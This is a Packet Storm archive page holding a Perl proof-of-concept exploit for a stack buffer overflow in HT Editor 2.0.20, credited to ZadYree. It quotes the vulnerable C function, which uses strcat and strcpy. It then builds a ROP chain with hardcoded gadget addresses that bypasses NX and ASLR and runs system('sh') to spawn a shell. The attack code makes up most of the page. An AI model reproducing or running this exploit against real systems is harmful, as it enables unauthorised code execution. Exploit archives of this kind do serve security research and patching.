exploit the possibilities

HT Editor 2.0.20 Buffer Overflow

HT Editor 2.0.20 Buffer Overflow
Posted Nov 13, 2012
Authored by ZadYree

HT Editor version 2.0.20 buffer overflow ROP proof of concept exploit.

tags | exploit, overflow, proof of concept
MD5 | 7e7d38c2d52f874e8196798f7ae2701f

HT Editor 2.0.20 Buffer Overflow

Change Mirror Download
#!/usr/bin/perl
=head1 TITLE

HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ... annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path



=head3 Code

int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
{
char *o = result;
if (!sys_path_is_absolute(filename, delim)) {
if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
int ol = strlen(o);
if (ol && !delim(o[ol-1])) {
o[ol] = '/';
o[ol+1] = 0;
}
} else *o = 0;
strcat(o, filename); //<-- And here it is, good old unsecure function
int k = flatten_path(o, delim);
return (k == 0) ? 0 : EINVAL;
}

=head3 AUTHORS

* ZadYree
* 3LRVS crew

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.


Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
Bender: Shut up and get to the point!
=cut

use 5.010;
use Cwd;

my $bin = shift;
die "[-] Bad filename.\n" unless (-e $bin);

# Let's now dive into
my $pool = [
## Fry: This snow is beautiful. I'm glad global warming never happened. ##
## Leela: Actually, it did. But thank God nuclear winter canceled it out. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd518), # endwin@GOT
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xb00b4dad) x 3, # JUNK
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret;
pack('V', 0xabadf00d) x 7, # JUNK
pack('V', 0x813589b), # call *%eax;

## Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd3fc), # __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xdeadbeef) x 3, # JUNK
pack('V', 0x80c21e6), # add %eax, $0x4; ret; // Beat my 8 bit metal ass.
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
pack('V', 0xdeafface) x 7, # JUNK
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x292ceaab), # A number to get the right
pack('V', 0x80512a6), # add %esi, %eax; pop pop pop ret;
pack('V', 0xc0b4beef) x 3, # JUNK
pack('V', 0x80d4612), # sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
pack('V', 0x813589b), # call *%eax;
pack('V', 0x804aa10), # exit@plt
pack('V', 0x816928f), # 'sh' string
];

=begin printPayload
my $buff = '"A"x' . (4107 - length(getcwd));

my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));

my $payload = qq{`perl -e 'print $buff . "$rop";'`};

say $bin . ' ' . $payload;
__END__
=end printPayload
=cut

say "[*] Executing system('sh')";

my $buff = ("A" x (4107 - length(getcwd)));
my $rop = join("", @$pool);
system($bin, $buff . $rop);
say "[+] Got Shell!";

Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close